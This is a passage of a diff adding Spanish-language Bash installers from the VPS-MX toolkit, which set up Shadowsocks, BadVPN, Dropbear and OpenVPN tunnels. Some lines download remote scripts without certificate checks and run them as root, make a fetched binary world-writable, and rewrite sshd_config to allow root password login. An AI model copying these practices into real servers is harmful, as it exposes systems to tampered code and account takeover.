+wget --no-check-certificate -O Instalador-Shadowsocks-libev.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh > /dev/null 2>&1
+chmod +x Instalador-Shadowsocks-libev.sh
+./Instalador-Shadowsocks-libev.sh 2>&1 | tee Instalador-Shadowsocks-libev.log
+
+;;
+2)
+msg -bar
+echo -e "\033[1;93m  Desinstalar  ..."
+msg -bar
+wget --no-check-certificate -O Instalador-Shadowsocks-libev.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh > /dev/null 2>&1
+chmod +x Instalador-Shadowsocks-libev.sh
+./Instalador-Shadowsocks-libev.sh uninstall
+rm -rf Instalador-Shadowsocks-libev.sh
+msg -bar
+sleep 3
+exit
+;;
+esac
+rm -rf Instalador-Shadowsocks-libev.sh
+value=$(ps ax |grep ss-server|grep -v grep)
+[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
+msg -bar
+echo -e "${value}"
+msg -bar
+return 0
+}
+fun_shadowsocks
+rm -rf shadowsocks-all.sh

+ 37 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/budp.sh

@@ -0,0 +1,37 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+BadVPN () {
+pid_badvpn=$(ps x | grep badvpn | grep -v grep | awk '{print $1}')
+if [ "$pid_badvpn" = "" ]; then
+msg -bar 
+msg -tit
+    msg -ama "            ACTIVADOR DE BADVPN (UDP 7300)"
+    msg -bar 
+    if [[ ! -e /bin/badvpn-udpgw ]]; then
+    wget -O /bin/badvpn-udpgw https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/badvpn-udpgw &>/dev/null
+    chmod 777 /bin/badvpn-udpgw
+    fi
+    screen -dmS badvpn2 /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10 
+    [[ "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -verd "                  ACTIVADO CON EXITO" || msg -ama "                 Fallo"
+	msg -bar
+else
+    msg -bar 
+	msg -tit
+    msg -ama "          DESACTIVADOR DE BADVPN (UDP 7300)"
+    msg -bar
+    kill -9 $(ps x | grep badvpn | grep -v grep | awk '{print $1'}) > /dev/null 2>&1
+    killall badvpn-udpgw > /dev/null 2>&1
+    [[ ! "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -ne "                DESACTIVADO CON EXITO \n"
+    unset pid_badvpn
+	msg -bar
+    fi
+unset pid_badvpn
+}
+
+BadVPN

+ 209 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/dropbear.sh

@@ -0,0 +1,209 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+fun_ip () {
+if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+IP="$(cat /etc/VPS-MX/MEUIPvps)"
+else
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+echo "$MEU_IP" > /etc/VPS-MX/MEUIPvps
+fi
+}
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans "Aplicar Mejoras Para Mejorar Paquetes SSH?")"
+    echo -e "${cor[3]} $(fun_trans "Opcion Para Usuarios Avanzados")"
+    msg -bar
+    read -p " [S/N]: " -e -i n sshsn
+           [[ "$sshsn" = @(s|S|y|Y) ]] && {
+           echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH...")"
+           echo -e " $(fun_trans "Cual es la tasa RX")"
+           echo -ne "[ 1 - 999999999 ]: "; read rx
+           [[ "$rx" = "" ]] && rx="999999999"
+           echo -e " $(fun_trans "Cual es la tasa TX")"
+           echo -ne "[ 1 - 999999999 ]: "; read tx
+           [[ "$tx" = "" ]] && tx="999999999"
+           apt-get install ethtool -y > /dev/null 2>&1
+           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+           }
+     msg -bar
+     }
+}
+
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<20; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.8
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1 && tput dl1
+done
+echo -ne " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m\n"
+sleep 1s
+}
+fun_dropbear () {
+ [[ -e /etc/default/dropbear ]] && {
+ msg -bar
+ echo -e "\033[1;32m $(fun_trans ${id} "REMOVIENDO DROPBEAR")"
+ msg -bar
+ service dropbear stop & >/dev/null 2>&1
+ fun_bar "apt-get remove dropbear -y"
+ msg -bar
+ echo -e "\033[1;32m $(fun_trans "Dropbear Removido")"
+ msg -bar
+ [[ -e /etc/default/dropbear ]] && rm /etc/default/dropbear
+ return 0
+ }
+msg -bar
+msg -tit
+echo -e "\033[1;32m $(fun_trans "   INSTALADOR DROPBEAR | VPS-MX By @Kalix1")"
+msg -bar
+echo -e "\033[1;31m $(fun_trans "Seleccione Puertos Validados en orden secuencial:\n")\033[1;32m 22 80 81 82 85 90\033[1;37m"
+msg -bar
+echo -ne "\033[1;31m $(fun_trans "Digite  Puertos"): \033[1;37m" && read DPORT
+tput cuu1 && tput dl1
+TTOTAL=($DPORT)
+    for((i=0; i<${#TTOTAL[@]}; i++)); do
+        [[ $(mportas|grep "${TTOTAL[$i]}") = "" ]] && {
+        echo -e "\033[1;33m $(fun_trans  "Puerto Elegido:")\033[1;32m ${TTOTAL[$i]} OK"
+        PORT="$PORT ${TTOTAL[$i]}"
+        } || {
+        echo -e "\033[1;33m $(fun_trans  "Puerto Elegido:")\033[1;31m ${TTOTAL[$i]} FAIL"
+        }
+   done
+  [[  -z $PORT ]] && {
+  echo -e "\033[1;31m $(fun_trans  "Ningun Puerto Valida Fue Elegido")\033[0m"
+  return 1
+  }
+sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/      //' | grep -o Ubuntu)
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] && echo -e "/bin/false" >> /etc/shells
+[[ "$sysvar" != "" ]] && {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes" > /etc/ssh/sshd_config
+msg -bar
+echo -e "${cor[2]} $(fun_trans ${id} "Instalando dropbear")"
+msg -bar
+fun_bar "apt-get install dropbear -y"
+apt-get install dropbear -y > /dev/null 2>&1
+msg -bar
+touch /etc/dropbear/banner
+msg -bar
+echo -e "${cor[2]} $(fun_trans ${id} "Configurando dropbear")"
+cat <<EOF > /etc/default/dropbear
+NO_START=0
+DROPBEAR_EXTRA_ARGS="VAR"
+DROPBEAR_BANNER="/etc/dropbear/banner"
+DROPBEAR_RECEIVE_WINDOW=65536
+EOF
+for dpts in $(echo $PORT); do
+sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear
+done
+sed -i "s/VAR//g" /etc/default/dropbear
+} || {
+echo -e "Port 22
+Protocol 2
+KeyRegenerationInterval 3600
+ServerKeyBits 1024
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 120
+PermitRootLogin yes
+StrictModes yes
+RSAAuthentication yes
+PubkeyAuthentication yes
+IgnoreRhosts yes
+RhostsRSAAuthentication no
+HostbasedAuthentication no
+PermitEmptyPasswords no
+ChallengeResponseAuthentication no
+PasswordAuthentication yes
+X11Forwarding yes
+X11DisplayOffset 10
+PrintMotd no
+PrintLastLog yes
+TCPKeepAlive yes
+#UseLogin no
+AcceptEnv LANG LC_*
+Subsystem sftp /usr/lib/openssh/sftp-server
+UsePAM yes" > /etc/ssh/sshd_config
+echo -e "${cor[2]} $(fun_trans  "Instalando dropbear")"
+msg -bar
+fun_bar "apt-get install dropbear -y"
+touch /etc/dropbear/banner
+msg -bar
+echo -e "${cor[2]} $(fun_trans  "Configurando dropbear")"
+msg -bar
+cat <<EOF > /etc/default/dropbear
+NO_START=0
+DROPBEAR_EXTRA_ARGS="VAR"
+DROPBEAR_BANNER="/etc/dropbear/banner"
+DROPBEAR_RECEIVE_WINDOW=65536
+EOF
+for dpts in $(echo $PORT); do
+sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear
+done
+sed -i "s/VAR//g" /etc/default/dropbear
+}
+fun_eth
+service ssh restart > /dev/null 2>&1
+service dropbear restart > /dev/null 2>&1
+echo -e "${cor[3]} $(fun_trans "Su dropbear ha sido configurado con EXITO")"
+msg -bar
+#UFW
+for ufww in $(mportas|awk '{print $2}'); do
+ufw allow $ufww > /dev/null 2>&1
+done
+}
+fun_dropbear

+ 853 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/openvpn.sh

@@ -0,0 +1,853 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+msg -bar
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
+SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
+#timedatectl set-timezone UTC
+# Detect Debian users running the script with "sh" instead of bash
+if readlink /proc/$$/exe | grep -q "dash"; then
+	echo "Este script se utiliza con bash"
+	exit
+fi
+
+if [[ "$EUID" -ne 0 ]]; then
+	echo "Sorry, solo funciona como root"
+	exit
+fi
+
+if [[ ! -e /dev/net/tun ]]; then
+	echo "El TUN device no esta disponible
+Necesitas habilitar TUN antes de usar este script"
+	exit
+fi
+
+if [[ -e /etc/debian_version ]]; then
+	OS=debian
+	GROUPNAME=nogroup
+	RCLOCAL='/etc/rc.local'
+elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then
+	OS=centos
+	GROUPNAME=nobody
+	RCLOCAL='/etc/rc.d/rc.local'
+else
+	echo "Tu sistema operativo no esta disponible para este script"
+	exit
+fi
+
+agrega_dns () {
+msg -ama " Escriba el HOST DNS que desea Agregar"
+read -p " [NewDNS]: " SDNS
+cat /etc/hosts|grep -v "$SDNS" > /etc/hosts.bak && mv -f /etc/hosts.bak /etc/hosts
+if [[ -e /etc/opendns ]]; then
+cat /etc/opendns > /tmp/opnbak
+mv -f /tmp/opnbak /etc/opendns
+echo "$SDNS" >> /etc/opendns 
+else
+echo "$SDNS" > /etc/opendns
+fi
+[[ -z $NEWDNS ]] && NEWDNS="$SDNS" || NEWDNS="$NEWDNS $SDNS"
+unset SDNS
+}
+mportas () {
+unset portas
+portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+dns_fun () {
+case $1 in
+3)dns[$2]='push "dhcp-option DNS 1.0.0.1"';;
+4)dns[$2]='push "dhcp-option DNS 1.1.1.1"';;
+5)dns[$2]='push "dhcp-option DNS 9.9.9.9"';;
+6)dns[$2]='push "dhcp-option DNS 1.1.1.1"';;
+7)dns[$2]='push "dhcp-option DNS 80.67.169.40"';;
+8)dns[$2]='push "dhcp-option DNS 80.67.169.12"';;
+9)dns[$2]='push "dhcp-option DNS 84.200.69.80"';;
+10)dns[$2]='push "dhcp-option DNS 84.200.70.40"';;
+11)dns[$2]='push "dhcp-option DNS 208.67.222.222"';;
+12)dns[$2]='push "dhcp-option DNS 208.67.220.220"';;
+13)dns[$2]='push "dhcp-option DNS 8.8.8.8"';;
+14)dns[$2]='push "dhcp-option DNS 8.8.4.4"';;
+15)dns[$2]='push "dhcp-option DNS 77.88.8.8"';;
+16)dns[$2]='push "dhcp-option DNS 77.88.8.1"';;
+17)dns[$2]='push "dhcp-option DNS 176.103.130.130"';;
+18)dns[$2]='push "dhcp-option DNS 176.103.130.131"';;
+esac
+}
+meu_ip () {
+if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+echo "$(cat /etc/VPS-MX/MEUIPvps)"
+else
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+echo "$MEU_IP" > /etc/VPS-MX/MEUIPvps
+fi
+}
+IP="$(meu_ip)"
+
+instala_ovpn2 () {
+msg -bar3
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;32m     INSTALADOR DE OPENVPN | VPS-MX By @Kalix1"
+msg -bar
+	# OpenVPN setup and first user creation
+echo -e "\033[1;97mSe necesitan ciertos parametros para configurar OpenVPN."
+echo "Configuracion por default solo presiona ENTER."
+echo "Primero, cual es la IPv4 que quieres para OpenVPN"
+echo "Detectando..."
+msg -bar
+	# Autodetect IP address and pre-fill for the user
+	IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+	read -p "IP address: " -e -i $IP IP
+	# If $IP is a private IP address, the server must be behind NAT
+	if echo "$IP" | grep -qE '^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)'; then
+		echo
+		echo "Este servidor esta detras de una red NAT?"
+		read -p "IP  Publica  / hostname: " -e PUBLICIP
+	fi
+msg -bar
+msg -ama "Que protocolo necesitas para las conexiones OpenVPN?"
+msg -bar
+	echo "   1) UDP (recomendada)"
+	echo "   2) TCP"
+msg -bar
+	read -p "Protocolo [1-2]: " -e -i 1 PROTOCOL
+	case $PROTOCOL in
+		1) 
+		PROTOCOL=udp
+		;;
+		2) 
+		PROTOCOL=tcp
+		;;
+	esac
+msg -bar
+msg -ama "Que puerto necesitas en OpenVPN (Default 1194)?"
+msg -bar
+	read -p "Puerto: " -e -i 1194 PORT
+msg -bar
+msg -ama "Cual DNS usaras en tu VPN?"
+msg -bar
+	echo "   1) Actuales en el VPS"
+	echo "   2) 1.1.1.1"
+	echo "   3) Google"
+	echo "   4) OpenDNS"
+	echo "   5) Verisign"
+msg -bar
+	read -p "DNS [1-5]: " -e -i 1 DNS
+#CIPHER
+msg -bar
+msg -ama " Elija que codificacion desea para el canal de datos:"
+msg -bar
+echo "   1) AES-128-CBC"
+echo "   2) AES-192-CBC"
+echo "   3) AES-256-CBC"
+echo "   4) CAMELLIA-128-CBC"
+echo "   5) CAMELLIA-192-CBC"
+echo "   6) CAMELLIA-256-CBC"
+echo "   7) SEED-CBC"
+echo "   8) NONE"
+msg -bar
+while [[ $CIPHER != @([1-8]) ]]; do
+read -p " Cipher [1-7]: " -e -i 1 CIPHER
+done
+case $CIPHER in
+1) CIPHER="cipher AES-128-CBC";;
+2) CIPHER="cipher AES-192-CBC";;
+3) CIPHER="cipher AES-256-CBC";;
+4) CIPHER="cipher CAMELLIA-128-CBC";;
+5) CIPHER="cipher CAMELLIA-192-CBC";;
+6) CIPHER="cipher CAMELLIA-256-CBC";;
+7) CIPHER="cipher SEED-CBC";;
+8) CIPHER="cipher none";;
+esac
+msg -bar
+msg -ama " Estamos listos para configurar su servidor OpenVPN"
+msg -bar
+	read -n1 -r -p "Presiona cualquier tecla para continuar..."
+	if [[ "$OS" = 'debian' ]]; then
+		apt-get update
+		apt-get install openvpn iptables openssl ca-certificates -y
+	else
+		# 
+		yum install epel-release -y
+		yum install openvpn iptables openssl ca-certificates -y
+	fi
+	# Get easy-rsa
+	EASYRSAURL='https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.8/EasyRSA-3.0.8.tgz'
+	wget -O ~/easyrsa.tgz "$EASYRSAURL" 2>/dev/null || curl -Lo ~/easyrsa.tgz "$EASYRSAURL"
+	tar xzf ~/easyrsa.tgz -C ~/
+	mv ~/EasyRSA-3.0.8/ /etc/openvpn/
+	mv /etc/openvpn/EasyRSA-3.0.8/ /etc/openvpn/easy-rsa/
+	chown -R root:root /etc/openvpn/easy-rsa/
+	rm -f ~/easyrsa.tgz
+	cd /etc/openvpn/easy-rsa/
+	# 
+	./easyrsa init-pki
+	./easyrsa --batch build-ca nopass
+	./easyrsa gen-dh
+	./easyrsa build-server-full server nopass
+	EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
+	# 
+	cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn
+	# 
+	chown nobody:$GROUPNAME /etc/openvpn/crl.pem
+	# 
+	openvpn --genkey --secret /etc/openvpn/ta.key
+	# 
+	echo "port $PORT
+proto $PROTOCOL
+dev tun
+sndbuf 0
+rcvbuf 0
+ca ca.crt
+cert server.crt
+key server.key
+dh dh.pem
+auth SHA512
+tls-auth ta.key 0
+topology subnet
+server 10.8.0.0 255.255.255.0
+ifconfig-pool-persist ipp.txt" > /etc/openvpn/server.conf
+	echo 'push "redirect-gateway def1 bypass-dhcp"' >> /etc/openvpn/server.conf
+	# DNS
+	case $DNS in
+		1)
+		# 
+		# 
+		if grep -q "127.0.0.53" "/etc/resolv.conf"; then
+			RESOLVCONF='/run/systemd/resolve/resolv.conf'
+		else
+			RESOLVCONF='/etc/resolv.conf'
+		fi
+		# 
+		grep -v '#' $RESOLVCONF | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do
+			echo "push \"dhcp-option DNS $line\"" >> /etc/openvpn/server.conf
+		done
+		;;
+		2)
+		echo 'push "dhcp-option DNS 1.1.1.1"' >> /etc/openvpn/server.conf
+		echo 'push "dhcp-option DNS 1.0.0.1"' >> /etc/openvpn/server.conf
+		;;
+		3)
+		echo 'push "dhcp-option DNS 8.8.8.8"' >> /etc/openvpn/server.conf
+		echo 'push "dhcp-option DNS 8.8.4.4"' >> /etc/openvpn/server.conf
+		;;
+		4)
+		echo 'push "dhcp-option DNS 208.67.222.222"' >> /etc/openvpn/server.conf
+		echo 'push "dhcp-option DNS 208.67.220.220"' >> /etc/openvpn/server.conf
+		;;
+		5)
+		echo 'push "dhcp-option DNS 64.6.64.6"' >> /etc/openvpn/server.conf
+		echo 'push "dhcp-option DNS 64.6.65.6"' >> /etc/openvpn/server.conf
+		;;
+	esac
+	
+
+	
+	echo "keepalive 10 120
+${CIPHER}
+user nobody
+group $GROUPNAME
+persist-key
+persist-tun
+status openvpn-status.log
+verb 3
+crl-verify crl.pem" >> /etc/openvpn/server.conf
+updatedb
+PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1)
+[[ ! -z $(echo ${PLUGIN}) ]] && {
+echo "client-to-client
+client-cert-not-required
+username-as-common-name
+plugin $PLUGIN login" >> /etc/openvpn/server.conf
+}
+	# 
+	echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/30-openvpn-forward.conf
+	# 
+	echo 1 > /proc/sys/net/ipv4/ip_forward
+	if pgrep firewalld; then
+		# 
+		#
+		# 
+		# 
+		firewall-cmd --zone=public --add-port=$PORT/$PROTOCOL
+		firewall-cmd --zone=trusted --add-source=10.8.0.0/24
+		firewall-cmd --permanent --zone=public --add-port=$PORT/$PROTOCOL
+		firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
+		# 
+		firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+		firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+	else
+		# 
+		if [[ "$OS" = 'debian' && ! -e $RCLOCAL ]]; then
+			echo '#!/bin/sh -e
+exit 0' > $RCLOCAL
+		fi
+		chmod +x $RCLOCAL
+		# 
+		iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+		sed -i "1 a\iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP" $RCLOCAL
+		if iptables -L -n | grep -qE '^(REJECT|DROP)'; then
+			#
+			# 
+			# 
+			iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
+			iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
+			iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
+			sed -i "1 a\iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT" $RCLOCAL
+			sed -i "1 a\iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT" $RCLOCAL
+			sed -i "1 a\iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT" $RCLOCAL
+		fi
+	fi
+	# 
+	if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then
+		# 
+		if ! hash semanage 2>/dev/null; then
+			yum install policycoreutils-python -y
+		fi
+		semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT
+	fi
+	# 
+	if [[ "$OS" = 'debian' ]]; then
+		# 
+		if pgrep systemd-journal; then
+			systemctl restart openvpn@server.service
+		else
+			/etc/init.d/openvpn restart
+		fi
+	else
+		if pgrep systemd-journal; then
+			systemctl restart openvpn@server.service
+			systemctl enable openvpn@server.service
+		else
+			service openvpn restart
+			chkconfig openvpn on
+		fi
+	fi
+	# 
+	if [[ "$PUBLICIP" != "" ]]; then
+		IP=$PUBLICIP
+	fi
+	# 
+	echo "# OVPN_ACCESS_SERVER_PROFILE=VPS-MX
+client
+dev tun
+proto $PROTOCOL
+sndbuf 0
+rcvbuf 0
+remote $IP $PORT
+resolv-retry infinite
+nobind
+persist-key
+persist-tun
+remote-cert-tls server
+auth SHA512
+${CIPHER}
+setenv opt block-outside-dns
+key-direction 1
+verb 3
+auth-user-pass" > /etc/openvpn/client-common.txt
+msg -bar
+msg -ama " Ahora crear una SSH para generar el (.ovpn)!"
+msg -bar
+echo -e "\033[1;32m Configuracion Finalizada!"
+msg -bar
+
+}
+
+instala_ovpn () {
+parametros_iniciais () {
+#Verifica o Sistema
+[[ "$EUID" -ne 0 ]] && echo " Lo siento, usted necesita ejecutar esto como ROOT" && exit 1
+[[ ! -e /dev/net/tun ]] && echo " TUN no esta Disponible" && exit 1
+if [[ -e /etc/debian_version ]]; then
+OS="debian"
+VERSION_ID=$(cat /etc/os-release | grep "VERSION_ID")
+IPTABLES='/etc/iptables/iptables.rules'
+[[ ! -d /etc/iptables ]] && mkdir /etc/iptables
+[[ ! -e $IPTABLES ]] && touch $IPTABLES
+SYSCTL='/etc/sysctl.conf'
+ [[ "$VERSION_ID" != 'VERSION_ID="7"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="8"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="9"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="14.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="16.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="18.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="17.10"' ]] && {
+ echo " Su vercion de Debian / Ubuntu no Soportada."
+ while [[ $CONTINUE != @(y|Y|s|S|n|N) ]]; do
+ read -p "Continuar ? [y/n]: " -e CONTINUE
+ done
+ [[ "$CONTINUE" = @(n|N) ]] && exit 1
+ }
+else
+msg -ama " Parece que no estas ejecutando este instalador en un sistema Debian o Ubuntu"
+msg -bar
+return 1
+fi
+#Pega Interface
+NIC=$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1)
+
+}
+add_repo () {
+#INSTALACAO E UPDATE DO REPOSITORIO
+# Debian 7
+if [[ "$VERSION_ID" = 'VERSION_ID="7"' ]]; then
+echo "deb http://build.openvpn.net/debian/openvpn/stable wheezy main" > /etc/apt/sources.list.d/openvpn.list
+wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1
+# Debian 8
+elif [[ "$VERSION_ID" = 'VERSION_ID="8"' ]]; then
+echo "deb http://build.openvpn.net/debian/openvpn/stable jessie main" > /etc/apt/sources.list.d/openvpn.list
+wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1
+# Ubuntu 14.04
+elif [[ "$VERSION_ID" = 'VERSION_ID="14.04"' ]]; then
+echo "deb http://build.openvpn.net/debian/openvpn/stable trusty main" > /etc/apt/sources.list.d/openvpn.list
+wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1
+# Ubuntu 16.04
+elif [[ "$VERSION_ID" = 'VERSION_ID="16.04"' ]]; then
+echo "deb http://build.openvpn.net/debian/openvpn/stable xenial main" > /etc/apt/sources.list.d/openvpn.list
+wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1
+# Ubuntu 18.04
+elif [[ "$VERSION_ID" = 'VERSION_ID="18.04"' ]]; then
+apt-get remove openvpn -y > /dev/null 2>&1
+rm -rf /etc/apt/sources.list.d/openvpn.list > /dev/null 2>&1 
+echo "deb http://build.openvpn.net/debian/openvpn/stable bionic main" > /etc/apt/sources.list.d/openvpn.list
+wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1
+fi
+}
+coleta_variaveis () {
+echo -e "\033[1;32m     INSTALADOR DE OPENVPN | VPS-MX By @Kalix1"
+msg -bar
+msg -ne " Confirme su IP"; read -p ": " -e -i $IP ip
+msg -bar
+msg -ama " Que puerto desea usar?"
+msg -bar
+    while true; do
+    read -p " Port: " -e -i 1194 PORT
+    [[ $(mportas|grep -w "$PORT") ]] || break
+    echo -e "\033[1;33m Este puerto esta en uso\033[0m"
+    unset PORT
+    done
+msg -bar
+echo -e "\033[1;31m Que protocolo desea para las conexiones OPENVPN?"
+echo -e "\033[1;31m A menos que UDP este bloqueado, no utilice TCP (es mas lento)"
+#PROTOCOLO
+while [[ $PROTOCOL != @(UDP|TCP) ]]; do
+read -p " Protocol [UDP/TCP]: " -e -i TCP PROTOCOL
+done
+[[ $PROTOCOL = "UDP" ]] && PROTOCOL=udp
+[[ $PROTOCOL = "TCP" ]] && PROTOCOL=tcp
+#DNS
+msg -bar
+msg -ama " Que DNS desea utilizar?"
+msg -bar
+echo "   1) Usar DNS de sistema "
+echo "   2) Cloudflare"
+echo "   3) Quad"
+echo "   4) FDN"
+echo "   5) DNS.WATCH"
+echo "   6) OpenDNS"
+echo "   7) Google DNS"
+echo "   8) Yandex Basic"
+echo "   9) AdGuard DNS"
+msg -bar
+while [[ $DNS != @([1-9]) ]]; do
+read -p " DNS [1-9]: " -e -i 1 DNS
+done
+#CIPHER
+msg -bar
+msg -ama " Elija que codificacion desea para el canal de datos:"
+msg -bar
+echo "   1) AES-128-CBC"
+echo "   2) AES-192-CBC"
+echo "   3) AES-256-CBC"
+echo "   4) CAMELLIA-128-CBC"
